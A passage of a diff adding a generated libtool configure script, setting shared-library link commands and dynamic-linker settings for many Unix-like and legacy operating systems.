${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + else + archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib' + hardcode_libdir_flag_spec_ld='-rpath $libdir' + fi + hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator=: + link_all_deplibs=yes + ;; + + netbsd*) + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out + else + archive_cmds='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF + fi + hardcode_libdir_flag_spec='-R$libdir' + hardcode_direct=yes + hardcode_shlibpath_var=no + ;; + + newsos6) + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct=yes + hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator=: + hardcode_shlibpath_var=no + ;; + + openbsd*) + hardcode_direct=yes + hardcode_shlibpath_var=no + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + archive_expsym_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols' + hardcode_libdir_flag_spec='${wl}-rpath,$libdir' + export_dynamic_flag_spec='${wl}-E' + else + case $host_os in + openbsd[01].* | openbsd2.[0-7] | openbsd2.[0-7].*) + archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' + hardcode_libdir_flag_spec='-R$libdir' + ;; + *) + archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + hardcode_libdir_flag_spec='${wl}-rpath,$libdir' + ;; + esac + fi + ;; + + os2*) + hardcode_libdir_flag_spec='-L$libdir' + hardcode_minus_L=yes + allow_undefined_flag=unsupported + archive_cmds='$echo "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$echo "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$echo DATA >> $output_objdir/$libname.def~$echo " SINGLE NONSHARED" >> $output_objdir/$libname.def~$echo EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def' + old_archive_From_new_cmds='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def' + ;; + + osf3*) + if test "$GCC" = yes; then + allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*' + archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + else + allow_undefined_flag=' -expect_unresolved \*' + archive_cmds='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib' + fi + hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir' + hardcode_libdir_separator=: + ;; + + osf4* | osf5*) # as osf3* with the addition of -msym flag + if test "$GCC" = yes; then + allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*' + archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir' + else + allow_undefined_flag=' -expect_unresolved \*' + archive_cmds='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib' + archive_expsym_cmds='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; echo "-hidden">> $lib.exp~ + $LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${objdir}/so_locations -o $lib~$rm $lib.exp' + + # Both c and cxx compiler support -rpath directly + hardcode_libdir_flag_spec='-rpath $libdir' + fi + hardcode_libdir_separator=: + ;; + + sco3.2v5*) + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_shlibpath_var=no + export_dynamic_flag_spec='${wl}-Bexport' + runpath_var=LD_RUN_PATH + hardcode_runpath_var=yes + ;; + + solaris*) + no_undefined_flag=' -z text' + if test "$GCC" = yes; then + archive_cmds='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + archive_expsym_cmds='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $CC -shared ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$rm $lib.exp' + else + archive_cmds='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags' + archive_expsym_cmds='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp' + fi + hardcode_libdir_flag_spec='-R$libdir' + hardcode_shlibpath_var=no + case $host_os in + solaris2.[0-5] | solaris2.[0-5].*) ;; + *) # Supported since Solaris 2.6 (maybe 2.5.1?) + whole_archive_flag_spec='-z allextract$convenience -z defaultextract' ;; + esac + link_all_deplibs=yes + ;; + + sunos4*) + if test "x$host_vendor" = xsequent; then + # Use $CC to link under sequent, because it throws in some extra .o + # files that make .init and .fini sections work. + archive_cmds='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags' + else + archive_cmds='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags' + fi + hardcode_libdir_flag_spec='-L$libdir' + hardcode_direct=yes + hardcode_minus_L=yes + hardcode_shlibpath_var=no + ;; + + sysv4) + case $host_vendor in + sni) + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct=yes # is this really true??? + ;; + siemens) + ## LD is ld it makes a PLAMLIB + ## CC just makes a GrossModule. + archive_cmds='$LD -G -o $lib $libobjs $deplibs $linker_flags' + reload_cmds='$CC -r -o $output$reload_objs' + hardcode_direct=no + ;; + motorola) + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct=no #Motorola manual says yes, but my tests say they lie + ;; + esac + runpath_var='LD_RUN_PATH' + hardcode_shlibpath_var=no + ;; + + sysv4.3*) + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_shlibpath_var=no + export_dynamic_flag_spec='-Bexport' + ;; + + sysv4*MP*) + if test -d /usr/nec; then + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_shlibpath_var=no + runpath_var=LD_RUN_PATH + hardcode_runpath_var=yes + ld_shlibs=yes + fi + ;; + + sysv4.2uw2*) + archive_cmds='$LD -G -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct=yes + hardcode_minus_L=no + hardcode_shlibpath_var=no + hardcode_runpath_var=yes + runpath_var=LD_RUN_PATH + ;; + + sysv5OpenUNIX8* | sysv5UnixWare7* | sysv5uw[78]* | unixware7*) + no_undefined_flag='${wl}-z ${wl}text' + if test "$GCC" = yes; then + archive_cmds='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + else + archive_cmds='$CC -G ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + fi + runpath_var='LD_RUN_PATH' + hardcode_shlibpath_var=no + ;; + + sysv5*) + no_undefined_flag=' -z text' + # $CC -shared without GNU ld will not create a library from C++ + # object files and a static libstdc++, better avoid it by now + archive_cmds='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags' + archive_expsym_cmds='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp' + hardcode_libdir_flag_spec= + hardcode_shlibpath_var=no + runpath_var='LD_RUN_PATH' + ;; + + uts4*) + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_libdir_flag_spec='-L$libdir' + hardcode_shlibpath_var=no + ;; + + *) + ld_shlibs=no + ;; + esac + fi + +{ echo "$as_me:$LINENO: result: $ld_shlibs" >&5 +echo "${ECHO_T}$ld_shlibs" >&6; } +test "$ld_shlibs" = no && can_build_shared=no + +variables_saved_for_relink="PATH $shlibpath_var $runpath_var" +if test "$GCC" = yes; then + variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH" +fi + +# +# Do we need to explicitly link libc? +# +case "x$archive_cmds_need_lc" in +x|xyes) + # Assume -lc should be added + archive_cmds_need_lc=yes + + if test "$enable_shared" = yes && test "$GCC" = yes; then + case $archive_cmds in + *'~'*) + # FIXME: we may have to deal with multi-command sequences. + ;; + '$CC '*) + # Test whether the compiler implicitly links with -lc since on some + # systems, -lgcc has to come before -lc. If gcc already passes -lc + # to ld, don't add -lc before -lgcc. + { echo "$as_me:$LINENO: checking whether -lc should be explicitly linked in" >&5 +echo $ECHO_N "checking whether -lc should be explicitly linked in... $ECHO_C" >&6; } + $rm conftest* + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + + if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } 2>conftest.err; then + soname=conftest + lib=conftest + libobjs=conftest.$ac_objext + deplibs= + wl=$lt_prog_compiler_wl + compiler_flags=-v + linker_flags=-v + verstring= + output_objdir=. + libname=conftest + lt_save_allow_undefined_flag=$allow_undefined_flag + allow_undefined_flag= + if { (eval echo "$as_me:$LINENO: \"$archive_cmds 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1\"") >&5 + (eval $archive_cmds 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } + then + archive_cmds_need_lc=no + else + archive_cmds_need_lc=yes + fi + allow_undefined_flag=$lt_save_allow_undefined_flag + else + cat conftest.err 1>&5 + fi + $rm conftest* + { echo "$as_me:$LINENO: result: $archive_cmds_need_lc" >&5 +echo "${ECHO_T}$archive_cmds_need_lc" >&6; } + ;; + esac + fi + ;; +esac + +{ echo "$as_me:$LINENO: checking dynamic linker characteristics" >&5 +echo $ECHO_N "checking dynamic linker characteristics... $ECHO_C" >&6; } +library_names_spec= +libname_spec='lib$name' +soname_spec= +shrext_cmds=".so" +postinstall_cmds= +postuninstall_cmds= +finish_cmds= +finish_eval= +shlibpath_var= +shlibpath_overrides_runpath=unknown +version_type=none +dynamic_linker="$host_os ld.so" +sys_lib_dlsearch_path_spec="/lib /usr/lib" +if test "$GCC" = yes; then + sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"` + if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then + # if the path contains ";" then we assume it to be the separator + # otherwise default to the standard path separator (i.e. ":") - it is + # assumed that no part of a normal pathname contains ";" but that should + # okay in the real world where ";" in dirpaths is itself problematic. + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'` + else + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` + fi +else + sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib" +fi +need_lib_prefix=unknown +hardcode_into_libs=no + +# when you set need_version to no, make sure it does not cause -set_version +# flags to be left without arguments +need_version=unknown + +case $host_os in +aix3*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a' + shlibpath_var=LIBPATH + + # AIX 3 has no versioning support, so we append a major version to the name. + soname_spec='${libname}${release}${shared_ext}$major' + ;; + +aix4* | aix5*) + version_type=linux + need_lib_prefix=no + need_version=no + hardcode_into_libs=yes + if test "$host_cpu" = ia64; then + # AIX 5 supports IA64 + library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + else + # With GCC up to 2.95.x, collect2 would create an import file + # for dependence libraries. The import file would start with + # the line `#! .'. This would cause the generated library to + # depend on `.', always an invalid library. This was fixed in + # development snapshots of GCC prior to 3.0. + case $host_os in + aix4 | aix4.[01] | aix4.[01].*) + if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)' + echo ' yes ' + echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then + : + else + can_build_shared=no + fi + ;; + esac + # AIX (on Power*) has no versioning support, so currently we can not hardcode correct + # soname into executable. Probably we can add versioning support to + # collect2, so additional links can be useful in future. + if test "$aix_use_runtimelinking" = yes; then + # If using run time linking (on AIX 4.2 or later) use lib.so + # instead of lib.a to let people know that these are not + # typical AIX shared libraries. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + else + # We preserve .a as extension for shared libraries through AIX4.2 + # and later when we are not doing run time linking. + library_names_spec='${libname}${release}.a $libname.a' + soname_spec='${libname}${release}${shared_ext}$major' + fi + shlibpath_var=LIBPATH + fi + ;; + +amigaos*) + library_names_spec='$libname.ixlibrary $libname.a' + # Create ${libname}_ixlibrary.a entries in /sys/libs. + finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done' + ;; + +beos*) + library_names_spec='${libname}${shared_ext}' + dynamic_linker="$host_os ld.so" + shlibpath_var=LIBRARY_PATH + ;; + +bsdi[45]*) + version_type=linux + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir' + shlibpath_var=LD_LIBRARY_PATH + sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib" + sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib" + # the default ld.so.conf also contains /usr/contrib/lib and + # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow + # libtool to hard-code these into programs + ;; + +cygwin* | mingw* | pw32*) + version_type=windows + shrext_cmds=".dll" + need_version=no + need_lib_prefix=no + + case $GCC,$host_os in + yes,cygwin* | yes,mingw* | yes,pw32*) + library_names_spec='$libname.dll.a' + # DLL is installed to $(libdir)/../bin by postinstall_cmds + postinstall_cmds='base_file=`basename \${file}`~ + dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~ + dldir=$destdir/`dirname \$dlpath`~ + test -d \$dldir || mkdir -p \$dldir~ + $install_prog $dir/$dlname \$dldir/$dlname' + postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~ + dlpath=$dir/\$dldll~ + $rm \$dlpath' + shlibpath_overrides_runpath=yes + + case $host_os in + cygwin*) + # Cygwin DLLs use 'cyg' prefix rather than 'lib' + soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' + sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib" + ;; + mingw*) + # MinGW DLLs use traditional 'lib' prefix + soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' + sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"` + if echo "$sys_lib_search_path_spec" | grep ';[c-zC-Z]:/' >/dev/null; then + # It is most probably a Windows format PATH printed by + # mingw gcc, but we are running on Cygwin. Gcc prints its search + # path with ; separators, and with drive letters. We can handle the + # drive letters (cygwin fileutils understands them), so leave them, + # especially as we might pass files found there to a mingw objdump, + # which wouldn't understand a cygwinified path. Ahh. + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'` + else + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` + fi + ;; + pw32*) + # pw32 DLLs use 'pw' prefix rather than 'lib' + library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/./-/g'`${versuffix}${shared_ext}' + ;; + esac + ;; + + *) + library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib' + ;; + esac + dynamic_linker='Win32 ld.exe' + # FIXME: first we should search . and the directory the executable is in + shlibpath_var=PATH + ;; + +darwin* | rhapsody*) + dynamic_linker="$host_os dyld" + version_type=darwin + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext' + soname_spec='${libname}${release}${major}$shared_ext' + shlibpath_overrides_runpath=yes + shlibpath_var=DYLD_LIBRARY_PATH + shrext_cmds='$(test .$module = .yes && echo .so || echo .dylib)' + # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same. + if test "$GCC" = yes; then + sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"` + else + sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib' + fi + sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib' + ;; + +dgux*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + ;; + +freebsd1*) + dynamic_linker=no + ;; + +kfreebsd*-gnu) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + dynamic_linker='GNU ld.so' + ;; + +freebsd*) + objformat=`test -x /usr/bin/objformat && /usr/bin/objformat || echo aout` + version_type=freebsd-$objformat + case $version_type in + freebsd-elf*) + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}' + need_version=no + need_lib_prefix=no + ;; + freebsd-*) + library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix' + need_version=yes + ;; + esac + shlibpath_var=LD_LIBRARY_PATH + case $host_os in + freebsd2*) + shlibpath_overrides_runpath=yes + ;; + freebsd3.01* | freebsdelf3.01*) + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + *) # from 3.2 on + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + ;; + esac + ;; + +gnu*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + hardcode_into_libs=yes + ;; + +hpux9* | hpux10* | hpux11*) + # Give a soname corresponding to the major version so that dld.sl refuses to + # link against other versions. + version_type=sunos + need_lib_prefix=no + need_version=no + case "$host_cpu" in + ia64*) + shrext_cmds='.so' + hardcode_into_libs=yes + dynamic_linker="$host_os dld.so" + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + if test "X$HPUX_IA64_MODE" = X32; then + sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib" + else + sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64" + fi + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + ;; + hppa*64*) + shrext_cmds='.sl' + hardcode_into_libs=yes + dynamic_linker="$host_os dld.sl" + shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64" + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + ;; + *) + shrext_cmds='.sl' + dynamic_linker="$host_os dld.sl" + shlibpath_var=SHLIB_PATH + shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + ;; + esac + # HP-UX runs *really* slowly unless shared libraries are mode 555. + postinstall_cmds='chmod 555 $lib' + ;; + +irix5* | irix6* | nonstopux*) + case $host_os in + nonstopux*) version_type=nonstopux ;; + *) + if test "$lt_cv_prog_gnu_ld" = yes; then + version_type=linux + else + version_type=irix + fi ;; + esac + need_lib_prefix=no + need_version=no + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}' + case $host_os in + irix5* | nonstopux*) + libsuff= shlibsuff= + ;; + *) + case $LD in # libtool.m4 will add one of these switches to LD + *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ") + libsuff= shlibsuff= libmagic=32-bit;; + *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ") + libsuff=32 shlibsuff=N32 libmagic=N32;; + *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ") + libsuff=64 shlibsuff=64 libmagic=64-bit;; + *) libsuff= shlibsuff= libmagic=never-match;; + esac + ;; + esac + shlibpath_var=LD_LIBRARY${shlibsuff}_PATH + shlibpath_overrides_runpath=no + sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}" + sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}" + hardcode_into_libs=yes + ;; + +# No shared lib support for Linux oldld, aout, or coff. +linux*oldld* | linux*aout* | linux*coff*) + dynamic_linker=no + ;; + +# This must be Linux ELF. +linux*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + # This implies no fast_install, which is unacceptable. + # Some rework will be needed to allow for fast_install + # before this can be enabled. + hardcode_into_libs=yes + + # Append ld.so.conf contents to the search path + if test -f /etc/ld.so.conf; then + lt_ld_extra=`$SED -e 's/:,\t/ /g;s/=^=*$//;s/=^= * / /g' /etc/ld.so.conf | tr '\n' ' '` + sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra" + fi + + # We used to test for /lib/ld.so.1 and disable shared libraries on + # powerpc, because MkLinux only supported shared libraries with the + # GNU dynamic linker. Since this was broken with cross compilers, + # most powerpc-linux boxes support dynamic linking these days and + # people can always --disable-shared, the test was removed, and we + # assume the GNU/Linux dynamic linker is in use. + dynamic_linker='GNU/Linux ld.so' + ;; + +knetbsd*-gnu) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + dynamic_linker='GNU ld.so' + ;; + +netbsd*) + version_type=sunos + need_lib_prefix=no + need_version=no + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' + dynamic_linker='NetBSD (a.out) ld.so' + else + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + dynamic_linker='NetBSD ld.elf_so' + fi + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + +newsos6) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + ;; + +nto-qnx*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + ;; + +openbsd*) + version_type=sunos + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' + shlibpath_var=LD_LIBRARY_PATH + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + case $host_os in + openbsd2.[89] | openbsd2.[89].*) + shlibpath_overrides_runpath=no + ;; + *) + shlibpath_overrides_runpath=yes + ;; + esac + else + shlibpath_overrides_runpath=yes + fi + ;; + +os2*) + libname_spec='$name' + shrext_cmds=".dll" + need_lib_prefix=no + library_names_spec='$libname${shared_ext} $libname.a' + dynamic_linker='OS/2 ld.exe' + shlibpath_var=LIBPATH + ;; + +osf3* | osf4* | osf5*) + version_type=osf + need_lib_prefix=no + need_version=no + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib" + sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec" + ;; + +sco3.2v5*) + version_type=osf + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + ;; + +solaris*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + # ldd complains unless libraries are executable + postinstall_cmds='chmod +x $lib' + ;; + +sunos4*) + version_type=sunos + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + if test "$with_gnu_ld" = yes; then + need_lib_prefix=no + fi + need_version=yes + ;; + +sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + case $host_vendor in + sni) + shlibpath_overrides_runpath=no + need_lib_prefix=no + export_dynamic_flag_spec='${wl}-Blargedynsym' + runpath_var=LD_RUN_PATH + ;; + siemens) + need_lib_prefix=no + ;; + motorola) + need_lib_prefix=no + need_version=no + shlibpath_overrides_runpath=no + sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib' + ;; + esac + ;; + +sysv4*MP*) + if test -d /usr/nec ;then + version_type=linux + library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}' + 